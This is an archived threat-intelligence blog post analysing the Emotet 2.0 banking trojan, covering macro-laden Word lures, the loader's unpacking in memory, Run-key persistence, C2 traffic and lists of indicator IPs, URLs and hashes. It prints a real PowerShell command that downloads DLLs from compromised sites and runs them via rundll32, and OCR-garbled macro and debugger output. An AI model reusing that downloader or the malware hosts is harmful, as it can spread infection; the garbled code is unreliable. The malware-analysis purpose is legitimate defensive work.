Emotet 2.0: Everything you need to know about the new Variant of the Banking Trojan

web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/ Anandeshwar Unnikrishnan

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Since it was first identified in 2014, the Emotet banking trojan has been a persistent threat that has affected over 1.6 million computers and led to millions of dollars in loss. However, in January 2021 a collaborative effort between law enforcement in several countries, coordinated by <u>Europol</u> and Eurojust, dismantled the operations of Emotet, which was followed by several arrests in Ukraine.

Despite the disruptions in their operations, within 9 months, in November 2021, new Emotet samples were discovered in the wild. Though the new variant of Emotet is very similar to the previous bot code, it differs in the encryption scheme used for command and control communications.

In this article, we delve into the technical aspects of the re-emerged Emotet malware dubbed Emotet 2.0.

Analyzed Samples

Emotet 2.0 has been analyzed based on the following samples:

Documents:

- 349d13ca99ab03869548d75b99e5a1d0
- eb02f3635fbe19caf518a59aceb753ed

PE Images:

4b957e4473826a37066f4489f5abbed4

Initial Access

After almost a year-long hiatus, the Emotet malware has returned to the threat landscape through spamming campaigns. Adversaries are using weaponized Microsoft Word document files to spread the infection.

As shown in the image below, users are tricked into clicking "Enable Content" to execute the malicious Macros that downloads Emotet malware hosted on various WordPress websites compromised by the attackers.



Malicious Macros used to download Emotet

Having extracted the malicious Macros embedded in the document, we found that:

• The Macros are heavily obfuscated to hinder the analysis.

- After deobfuscation, we observed that the Macros execute the Powershell command on the victim system to fetch the Emotet payload from the attacker's infrastructure.
- After analyzing multiple files, we observed that the campaign uses different PE image files, like executable and DLLs (Dynamic-link libraries), to spread the malware.
- While some campaigns leverage DLL files to deploy the malware, others use .exe files to deploy it.

VBA MACRO Vivnl3la5nhxv7.cls in file: emotet_e2_7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06_2020-08-29_124331.doc - OLE stream: 'Macros/VBA/V1vnl3la5nhxv7'
Private Sub Document_open()
H3wkjv081×4co0vat.D1n98zrf0liyijz4 End Sub
Function D1n98zrf0livijz4()
On Error Resume Next
xWlXASB3f = lTaE41F
Set Jock872h = MMMUt6Ud
UXXNJSSUN = 1WQ1U × KNO(113600443 - KNO(3) + CJMC3YNS6 - 009) + /019 + 9) / 41 × QVKOAO Saet Daud - WUIVIDO
Select Case IC Jay F
Case 6031
Qwu = Hex(QnQB02r)
aHLM0 = CByte(439298967)
yn09163) = 161
rtunis = Uctigopiour)
Case 583
yFPT = Atn(ICFwz1)
DMdSLx87d = CLng(4)
uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
End Select
X205e3a5413410W = 100
Set Jevk875 = MMUIEGUd
DVxKjS9un * 1Wgi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * gvRdA6
Set LBeu9 = mHJKjDD
Select Case ICJa94E
Case 6031
Qwu = Hex(QnQB02r)
an(MV) = (byte(4.39298967)
ynor2033 = 101 Case 8307
rvNT9 = Oct(gUplUur)
gHE = 2
FOTxHex = UozR54f
Case 583
yFPT = Atn(ICFwz1)

The malicious Macros extracted from the document

The images below illustrate the different Powershell payloads from multiple malicious documents:

1. Powershell payload that downloads DLL files

powershell \$dfkj="\$strs=\"http://toupai80.com/wp-

admin/C7TNEk/,http://phpnan.com/rajaship/AGV4lxu7XvcyjjvlZ29g/,http://alfadandoinc.com/67oyp/m55JgEVxA1SYr3dXpEJw/,http://ww content/plugins/classic-editor/js/yuOeppNKhbJiW/,http://comtamutthang.com/wp-content/uploads/5U4OLMs/,http://ec2-54-206-92-66.a 2.compute amazonaws.com/licenses/yB2dXUFf3YYI9uAg/,http://riven3.online/wp-content/SFTwXTjrYTM/\".Split(\",\");foreach(\$st in \$str Random;\$r2=Get-Random;\$tpth=\"c:\programdata\\\"+\$r1+\".dll\";Invoke-WebRequest -Uri \$st -OutFile \$tpth;if(Test-Path \$tpth) {\$fp=\"c:\windows\syswow64\rundll32.exe\";\$a=\$tpth+\",f\"+\$r2;Start-Process \$fp -ArgumentList \$a;break;}};";IEX \$dfkj

When the payload is DLL, the campaign uses Rundli32 to execute an exported function Control_RunDLL to deploy the Emotet payload.

1	Name	Address	Ordinal	
	f Control_RunDLL	10001070	1	Control RunDI I to deploy the Emotet payload
	🕜 DIIEntryPoint	100213AF	[main entry]	control_runder to deploy the Emoter payload.

1. Powershell payload that downloads .exe files:

powershell -e

When the payload is a .exe executable file, the Powershell payload fetches the .exe file from the attacker's infrastructure and executes on the victim's system.

Emotet Malware Payload

The Win32API IsProcessorFeaturePresent is commonly used in malware for anti-debug purposes.

- The argument value 0xA is passed to the API to check if the SSE2 instruction set is available on the victim system. Here, 0xA represents the constant value: **PF_XMMI64_INSTRUCTIONS_AVAILABLE**.
- Systems that support the SSE2 instruction set can use special registers **xmmn**, where **n** can have values from 0 7.
- Later in the process the malware uses xmmn registers to transfer data.

-			
	70D91A7B	8325 44EDDA70 00	and dword ptr ds:[70DAED44],0
	70D91A82	83EC 24	sub esp,24
	70D91A85	830D 58E3DA70 01	or dword ptr ds:[70DAE358],1
	70D91A8C	6A 0A	push A
	70D91A8E	FF15 3440DA70	call dword ptr ds:[<&IsProcessorFeaturePresent>]
	70D91A94	85C0	test eax,eax
0	70D91A96	> 0F84 A9010000	je e5-20211117-01.70D91C45
	70D91A9C	8365 F0 00	and dword ptr ss:[ebp-10],0
	70D91AA0	33C0	xor eax,eax

Loading Mechanism

The DLL/exe file dropped by the malicious document acts as a dropper to deploy the Emotet malware. The analyzed DLL has a PE image hidden inside it as shown in the image below:

🕮 Dump	1		Dump	2	1		Dun	np 3		1	Du	imp 4	ŧ	Į.		ump 5	6	Watch 1
Address	нех															ASCII		
033A1030	OD FO) AD	BA	0D	FO	AD	BA	0D	FO	AD	BA	28	10	3A	03	6.°.6.		· • (. : .
033A1040	4D 5/	A 90	00	03	00	00	00	04	00	00	00	FF	FF	00	00	MZ		ÿÿ
033A1050	B8 00	00 0	00	00	00	00	00	40	00	00	00	00	00	00	00		@.	
033A1060	00 00	00 0	00	00	00	00	00	00	00	00	00	00	00	00	00			
033A1070	00 00	00 0	00	00	00	00	00	00	00	00	00	CO	00	00	00			
033A1080	0E 1	F BA	0E	00	Β4	09	CD	21	B8	01	4C	CD	21	54	68		.1!.	.Lİ!Th
033A1090	69 73	3 20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F	is pro	oram	canno

Here, the malware uses the SSE2 instruction set for data transfer, i.e. the **xmmn** registers transfer hidden payload bytes within the malware.

<pre>movdqa xmm0,xmmword ptr ds:[esi] movdqa xmm1,xmmword ptr ds:[esi+10] movdqa xmm2,xmmword ptr ds:[esi+20] movdqa xmm3,xmmword ptr ds:[esi+30] movdqa xmmword ptr ds:[edi],xmm0 movdqa xmmword ptr ds:[edi+10],xmm1 movdqa xmmword ptr ds:[edi+20],xmm2 movdqa xmmword ptr ds:[edi+30],xmm3</pre>	
movada xmm4, xmmword ptr ds:[es1+40]	
movdqa xmm5,xmmword ptr ds:[esi+50] movdqa xmm6,xmmword ptr ds:[esi+60] movdqa xmm7,xmmword ptr ds:[esi+70] movdqa xmmword ptr ds:[edi+40].xmm4	esi+50:"is program cannot be run in DOS esi+60:"t be run in DOS mode.\r\r\n\$" esi+70:"mode.\r\r\n\$"
movidia xmmword ptr ds:[edi+50].xmm5	edi+50:"is program canno\rdo\rdo\rdo\rdo\rdo\rdo
movdqa xmmword ptr ds:[edi+60],xmm6	edi+60: "\rðº\rðº\rðº\rðº\rðº\rðº\rðº\rð
movdqa xmmword ptr ds:[ed1+70],xmm7	ed1+70:"\r0°\r0°\r0°\r0°\r0°\r0°\r0°\r0°\r0°\r0°
lea esi dword ptr ds:[esi+80]	
lea edi,dword ptr ds:[edi+80]	edi+80:"\rðº\rðº\rðº\rðº\rðº\rðº\rð
dec edx	

The code responsible for transferring hidden payload bytes within the malware

- The malware then allocates memory to dump the hidden Emotet payload using VirtualAlloc Win32 api.
- The argument 0x40 has a value of **PAGE_EXECUTE_READWRITE**, which sets the permission of the newly allocated memory to read, write, and execute.

push 40 push 3000 mov ecx,dword ptr ss:[ebp-4] mov ecx,dword ptr ds:[ecx+50] push edx mov ecx,dword ptr ss:[ebp-4] mov ecx,dword ptr ds:[eax+34]	[ebp-10]: .text [ebp-4]:"PE" [ebp-4]:"PE"
call dword ptr ds:[<&VirtualAlloc>]	
<pre>mov dword ptr ss:[ebp-C],eax cmp dword ptr ss:[ebp-C],0 jne e5-20211117-01.6FF7B2B3</pre>	

The malware copies the hidden PE image into an address starting from 0x10000000. The address of the newly allocated memory can be found in the EAX register, as shown below:

EAX EBX ECX	10000000 00000000 36A70000	
EDX	10000000	
EBP	02FAF2C0	
ESP	02FAF2A0	
ESI	00000001	
EDI	00000001	
EIP	6FF7B28D	e5-20211117-01.6FF7B28D
EFLAG	S 00000244	
ZF 1	PF 1 AF 0	

As seen in the image below, the memory permissions for the region 0x10000000 to 0x00028000 have been set to **ERW** (Execute, Read, Write).

04C70000	00035000	Reserved		PRV		-RW
4CA5000	0000B000			PRV	-RW-G	-RW
04CB0000	00032000	Reserved		PRV		-RW
04CE2000	0000E000	Thread E88 Stack		PRV	-RW-G	-RW
10000000	00028000			PRV	ERW	ERW
6FF60000	00001000	e5-20211117-01.dll		IMG	-R	ERWC-
6FF61000	00033000	".text"	Executable code	IMG	ER	ERWC-
6FF94000	0000A000	".rdata"	Read-only initialized data	IMG	-R	ERWC-
6FF9E000	00002000	".data"	Initialized data	IMG	-RW	ERWC-

The malware uses the code seen below, to copy the PE image, segment by segment, into the newly allocated memory with Execute, Read, Write permission.

6FF7B2D5	83C4 0C	add esp,C	
GFF7B2D8	C745 EC 00000000	mov dword ptr ss:[ebp-14],0	
 GFF7B2DF	* EB 09	jmp e5-20211117-01.6FF7B2EA	
6FF7B2E1	8B4D EC	mov ecx.dword ptr ss:[ebp-14]	
6FF7B2E4	83C1 01	add ecx.1	
6FF7B2E7	894D EC	mov dword ptr ss:[ebp-14].ecx	
6FF7B2EA	8855 FC	mov edx.dword ptr ss:[ebp-4]	[ebp-4]:"PE"
6FF7B2ED	0FB742 06	movzx eax.word ptr ds:[edx+6]	eax:".text"
6FF7B2F1	3945 EC	cmp dword ptr ss:[ebp-14].eax	
6FF7B2F4	7D 2E	ige e5-20211117-01.6FF7B324	
6FF7B2F6	884D F0	mov ecx.dword ptr ss:[ebp-10]	[ebp-10]:".text"
6FF7B2F9	8851 10	mov edx.dword ptr ds:[ecx+10]	
6FF7B2FC	52	push edx	
6FF7B2FD	8845 F0	mov eax.dword ptr ss:[ebp-10]	[ebp-10]:".text"
6FF7B300	8848 14	mov ecx.dword ptr ds: [eax+14]	
6FF7B303	034D F8	add ecx.dword ptr ss:[ebp-8]	
6FF7B306	51	push ecx	
6FF7B307	8855 FO	mov edx.dword ptr ss:[ebp-10]	[ebp-10]:".text"
6FF7B30A	8842 OC	mov eax.dword ptr ds:[edx+C]	eax:".text"
6FF7B30D	0345 F4	add eax.dword ptr ss:[ebp-C]	
6FF7B310	50	push eax	eax:".text"
6FF7B311	E8 7A6A0000	call e5-20211117-01, 6FF81D90	
6FF7B316	83C4 0C	add esp.C	

After transfering the byte, the newly allocated memory has a PE image with its MZ header, and the segments are ready to be executed by the malware.

100	Dump	1	į		Dump	2		,	Dum	1p 3		100	Du	imp 4	4	Į.	D	ump 5	6	Watch	1
Addr	ess	He	¢															ASCII			
1000	00000	4D B8	5A 00	90	00	03	00	00	00	04 40	00	00	00	FF 00	FF 00	00	00	MZ		··ÿÿ··	
1000	0020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
1000	0040	0E	1F 73	BA 20	0E 70	00	B4 6F	09 67	CD 72	21	B8 6D	01	4C	CD 61	21 6E	54 6E	68 6F	is pr	.1!	.L1!Th	
1000	0060	74	20	62	65	20	72	75	6E	20	69	6E	20	44	4F	53	20	t be	runi	n DOS	
1000	0070	45	0.4	10	20	65	22	22	22	57	20	20		24	22	~~	20	C G		e 4e	

The malware then transfers control to a hidden payload by calling the memory address 0x100143B3.

	6FF6104D	8B45 0C	mov eax,dword ptr ss:[ebp+C]
	6FF61050	50	push eax
•	6FF61051	8B4D 08	mov ecx, dword ptr ss: [ebp+8]
	6FF61054	51	push ecx
\longrightarrow \diamond	6FF61055	FF55 FC	call dword ptr ss:[ebp-4]
	6FF61058	EB 05	jmp e5-20211117-01.6FF6105F
	6FF6105A	B8 01000000	mov eax,1
⊥>⊜	6FF6105F	8BE5	mov esp,ebp
	6FF61061	5D	pop ebp

The image below shows the value stored in the Stack, when the above call happens. The execution starts from address 0x100143B3 in the newly allocated memory.

02FAF3EC 6 02FAF3F0 0 02FAF3F4 0	FF60000 e5-2021111 00000001 00000000	7-01.6FF60000	
02FAF3F8 0	0000001		
UZFAFSFC 1	0014383		
02FAF400 0	2FAF440		
02FAF404	6FF812E9 return to	es-20211117-01.	
02FAF408	6FF60000 e5-2021111	7-01.6FF60000	
02FAF40C	0000001		
02FAF410	0000000		
02FAF414	5838AF2D		
100143B3	55	push ebp	
100143B4	8BEC	mov ebp,esp	
100143B6	83EC 18	sub esp,18	
10014389	C745 F4 8035B2	00 mov dword ptr ss:[ebp-C],823580	
100143C0	33D2	xor edx,edx	
100143C2	C16D F4 07	shr dword ptr ss:[ebp-C],7	
100143C6	6845 F4 66	imul eax,dword ptr ss:[ebp-C],66	
100143CA	6A 1A	push 1A	
100143CC	59	pop ecx	
100143CD	6A 62	push 62	
100143CF	8945 F4	mov dword ptr ss:[ebp-C],eax	
10014202	8175 E4 758389	00 yor dword ptr ss [ebp-C] 898375	

Subsequently, the Emotet malware is executed. The shellcode is polymorphic in nature as each set of shellcode bytes are encoded by XORing with a key value to evade signature based detection as shown in the image below. The basic functionalities of the shellcode are covered in the System Wide Activity section.

-	TOOTAPCC	22	pop ecx	
۰	100143CD	6A 62	push 62	
•	100143CF	8945 F4	mov dword ptr ss:[ebp-C],eax	
۰	100143D2	8175 F4 75B38900	xor dword ptr ss:[ebp-C],898375	
•	100143D9	C745 FC 59840000	mov dword ptr ss:[ebp-4],8459	
→e	100143E0	8845 FC	mov eax,dword ptr ss:[ebp-4]	
۰	100143E3	F7F1	div ecx	
۰	100143E5	33D2	xor edx,edx	
۰	100143E7	8945 FC	mov dword ptr ss:[ebp-4],eax	
۰	100143EA	8145 FC 75D70000	add dword ptr ss:[ebp-4],D775	
٠	100143F1	C16D FC 06	shr dword ptr ss:[ebp-4],6	
•	100143F5	8175 FC 00060400	xor dword ptr ss:[ebp-4],40600	
۰	100143FC	C745 E8 9866CB00	mov dword ptr ss:[ebp-18],CB6698	
	10014403	8145 E8 3B43FFFF	add dword ptr ss:[ebp-18],FFFF433B	
۰	1001440A	814D E8 F75FBFC4	or dword ptr ss:[ebp-18],C48F5FF7	
۰	10014411	8175 E8 E67DF4C4	xor dword ptr ss:[ebp-18],C4F47DE6	
۰	10014418	C745 F8 DEC3B000	mov dword ptr ss:[ebp-8],BOC3DE	[ebp-8]:"PE"
•	1001441F	8B45 F8	mov eax,dword ptr ss:[ebp-8]	[[ebp-8]:"PE"

Finally the Emotet shellcode exits from the system.

add esp,14 push 0	ide FPU
Call eax EAX 75A058F0 <kernel32.< th=""> mov esp, ebp EBX 00000000 EBX 00000000 ret push ebp EDX 82620000 EBX 002FAF388</kernel32.<>	ExitProcess>

Extracting the Emotet Payload

- The PE image hidden in the loader has a hash value of 9DA12DAF87DFF61804EDF0ECE87E1DA2, which is PE image DLL32 and has no exported functions.
- The instructions in the DLL are dynamically decoded using XOR to evade detection.
- There are no hits on VirusTotal for this hash.

Name	Address	Ordinal	
f DIIEntryPoint	100143B3	[main entry]	

System-Wide Activity

The Emotet malware spawns a new process of **Rundli32** with a new command line. This is responsible for maintaining connection with the attacker's C2 (Command and Control) server.

MICrosoft.SharePoint.exe	3570	3.25 IVID
📄 rupdll32.exe	2572 4.32	6.98 MB

In the new command line shown below, we can see the malware has already been able to write the file in C:\Users\ <user>\AppData\Local\<Random_string>\<random>.<random_extension>. We have confirmed that the file written in this extension is the same as the initial file dropped from the malicious document.

It is not in the nature of the **Rundll32** system program to make network connections. However, because the malware is executed via **Rundll32**, we can see live traffic from it on the system, when it connects to the attacker's Infrastructure.



Frame Summary - [Conversation Filter]																				
🖳 Find 👻 👃	🕇 📑 Autoscroll												🐈 C	olor R	ules	A Ali	ases 🔻	· III (Column	s *
Frame Number	Time Date Local Adjusted	Time Offset	Process Name	Source	Destination	Protocol Name	Descri	iption												^
161 162 163 164 165 166 167 168 169 171 172 173 <	13:12:25 29-11-2021 13:12:26 29-11-2021 13:12:26 29-11-2021 13:12:26 29-11-2021 13:12:26 29-11-2021 13:12:26 29-11-2021 13:12:26 29-11-2021 13:12:27 29-11-2021 13:12:27 29-11-2021 13:12:30 29-11-2021 13:12:30 29-11-2021 13:12:30 29-11-2021	82.3531141 82.8466022 82.8471909 83.0588310 83.0589198 83.1243947 83.983840 83.9839743 86.9482281 86.9482281 86.9483164	rundi 32. exe rundi 32. exe	DESKTOP-753 DESKTOP-753 51.178.61.60 51.178.61.60 DESKTOP-753 51.178.61.60 DESKTOP-753 51.178.61.60 DESKTOP-753 51.178.61.60 DESKTOP-753	51.178.61.60 51.178.61.60 DESKTOP-753 DESKTOP-753 51.178.61.60 DESKTOP-753 51.178.61.60 DESKTOP-753 51.178.61.60 DESKTOP-753 51.178.61.60	ΤΦ TLS TΦ TLS TΦ TLS TΦ TLS TΦ TΔ TΦ TΔ TΦ TΔ TΦ TΔ TΔ	TCP:FI TLS:TL TCP:FI TLS:TL TCP:FI TCP:FI TCP:FI TCP:FI TCP:FI	ags= S Rec L ags= S Rec L ags= S Rec L ags= S Rec L ags= ags=	A, S ayer-11 A, S ayer-14 A, S ayer-15 A, S ayer-15 A, S ayer-16 A, S	rcPort=: HandSha rcPort= HandSha rcPort=: SSL Appi rcPort=: Encrypte ircPort=: rcPort=:	51905, ike: Cli HTTPS(ike: En 51905, ication HTTPS(ication 51905, ed Alert HTTPS 51905,	DstPort ent Key I (443), Ds crypted DstPort Data (443), Ds Data DstPort t (443), D: DstPort	=HTTF Exchar stPort= Hands =HTTF stPort= =HTTF =HTTF	PS(443) nge.; T =51905 hake M PS(443) =51905 PS(443) =51905 PS(443) PS(443)), Payl ILS Re 5, Payl Messag), Payl 5, Payl), Payl 5, Payl), Payl	loadLen c Layer loadLen e.; TLS loadLen loadLen loadLen loadLen	=0, Se -2 Ciph =0, Se Rec La =0, Se =0, Se =0, Se =0, Se =0, Se	q=286 er Char q=289 yer-2 (q=286 q=286 q=286 q=286 q=286	006656: nge Spe 93369, J Dipher C 0066654 93611, J 0067144 94442, 0067144	
Frame Details					×	Hey Details														×
-Frame:	Frame: Number = 173, Captured Frame Length = 54, MediaType = ETHE																			
• Etherne	t: Etype = Intern	net IP (I	Pv4), Desti	nationAddre	ss:[52-54-00	0000 52	54	00	12 3	5 0 2	08	00	27	61 2	2 A 1	EE R	т	5	'a*	î
H-Ipv4: 5	rc = 10.0.2.15, 1	est = 51	.1/8.61.60	, Next Prot	OCOI = ICP,	000C 08	0 0	45 (0 0 0	0 28	AF	66	40	00 8	8 0	06.	. E .	. (1	E@.	:
H-ICp: F1	ags=, Src	Port=519	US, DatPor	t=H11PS(443), PayloadLe	0018 00	00	OA (0 0 0	2 0 F	33	B2	3 D	3C (CA	Cl .			= < Ē.	A
						0024 01	BB	AA '	792	9 4 8	01	BA	6 B	8B 5	50	10.	≫ * У) H. ('K P	•
						0030 FF	FF	7 D 1	17 0	0 0 0						8	9}.	•••		
<					>															

Network activity of the malware making connections to external assets.

The persistence mechanism employed by Emotet is a classic technique that utilizes the Run registry key. As mentioned above, a PE image is written to: C:\Users\<user>\AppData\Local\<Random_string>\ directory as <random_string>.<random_extension>. After which, the Rundll32 is abused to run the exported function in the DLL.

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run							
> _ Pt	ushNotific 🔺 Na	ame	Туре	Data			
R/	ADAR ab	(Default)	REG SZ	(value not set)			
- R	un ab	mhriaf.gnd	REG SZ	C:\Windows\SysWOW64\rundll32.exe "C:\Users\iello\AppData\	Local\Ebzxfygkcmsmdcth\mhriaf.gnd"	YpJR r	
R	unOnce ab	OneDrive	REG SZ	"C:\Users\jello\AppData\Local\Microsoft\OneDrive\OneDriv			
> So	creensave		-				

Indicators of Compromise (IOCs)

URL

http://141.94.176.124/Loader_90563_1.dll	http://104.130.140.69:8080
http://122.129.203.163:443	http://178.79.144.87:443
http://188.165.214.166:7080	http://202.29.239.161:443
http://31.220.49.39:8080	http://41.76.108.46:8080

http://51.91.142.158:80

IPv4

141.94.176.124	87.120.8.170	51.91.142.158	218.101.110.3	178.79.144.87
98.0.159.122	87.120.8.112	51.79.205.117	217.165.237.42	178.134.47.166
97.83.40.67	87.120.8.109	51.68.138.110	209.33.231.203	178.128.222.53
97.107.134.115	87.120.8.101	51.210.242.234	207.246.112.221	177.67.137.111
95.110.160.239	87.120.37.77	51.178.61.60	204.174.223.210	170.130.55.98
94.28.78.200	87.120.37.231	51.178.186.134	202.179.185.203	167.71.11.125
93.48.80.198	87.120.37.183	50.21.183.143	201.172.31.95	164.68.99.3
93.188.167.97	87.120.37.122	5.189.150.29	200.7.198.138	156.19.152.218
92.38.128.47	87.120.254.96	49.248.217.170	200.236.218.62	154.79.251.172
91.92.109.73	87.120.254.6	45.79.80.198	200.114.247.160	154.79.244.182
91.92.109.189	87.120.254.51	45.63.36.79	198.199.70.22	144.91.110.219
91.92.109.14	87.120.254.252	45.36.99.184	194.36.28.26	142.93.218.86
91.92.109.138	87.120.254.234	45.116.106.45	194.190.18.122	142.44.247.57
91.92.109.136	87.120.254.178	41.76.108.46	192.99.150.39	14.102.188.227
91.92.109.10	87.120.254.158	37.57.82.112	191.36.151.129	117.54.140.98
91.83.88.122	86.97.10.14	36.91.186.235	190.93.208.53	117.220.229.162
91.243.125.5	85.88.174.94	36.67.109.15	190.152.4.202	113.160.37.196
91.207.28.33	80.6.192.58	31.173.137.49	189.147.174.121	110.172.137.20
91.178.126.51	80.211.40.191	31.173.137.47	189.135.21.162	103.77.205.102
91.121.134.180	79.143.186.143	31.173.137.39	187.19.167.233	103.36.126.221
89.107.190.111	77.232.163.203	31.13.195.32	186.97.172.178	103.150.68.124
87.97.178.92	75.176.235.182	31.13.195.152	186.32.3.108	103.146.232.154
87.121.52.247	74.63.218.139	31.13.195.145	186.225.119.170	103.109.247.10
87.121.52.230	69.64.50.41	31.13.195.13	185.99.2.197	107.170.4.227
87.121.52.173	67.207.95.35	31.13.195.129	185.9.187.10	142.4.219.173
87.120.8.245	67.205.162.68	31.13.195.108	185.242.89.198	158.69.118.130
87.120.8.241	64.251.25.156	27.5.4.111	185.242.88.63	206.189.150.190
87.120.8.177	54.39.98.141	24.28.12.23	184.74.99.214	52.73.70.149
87.120.8.171	54.37.70.105	23.253.208.162	181.176.174.139	54.191.98.150

File Hash – SHA256

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023549c2246838ebf7bbd91c2414de4950c3c0eaabb875e66e24baf410438aa6

File Hash – SHA1

6a45c49225a32a667e17ffe12178e050c3404ab7 224f101b5a67877e66c23506d16f592c410a85e0 06df357c67ea78924e376422056b8cc4dea

File Hash – MD5

b6bb0076356aaf68866fb7e68c4a7490 4f174fc64f06938cc1b8c63f9333af6c 10a161593b0105eae03b4883f6566dae

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Anandeshwar is a Threat Intelligence Researcher at CloudSEK. He is a strong advocate of offensive cybersecurity. He is fuelled by his passion for cyber threats in a global context. He dedicates much of his time on Try Hack Me/ Hack The Box/ Offensive Security Playground. He believes that "a strong mind starts with a strong body." When he is not gymming, he finds time to nurture his passion for teaching. He also likes to travel and experience new cultures.

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Deepanjli Paulraj Lead Cyberintelligence Editor, <u>CloudSEK</u> Total Posts: 3

Deepanjli is CloudSEK's Lead Technical Content Writer and Editor. She is a pen wielding pedant with an insatiable appetite for books, Sudoku, and epistemology. She works on any and all content at CloudSEK, which includes blogs, reports, product documentation, and everything in between.



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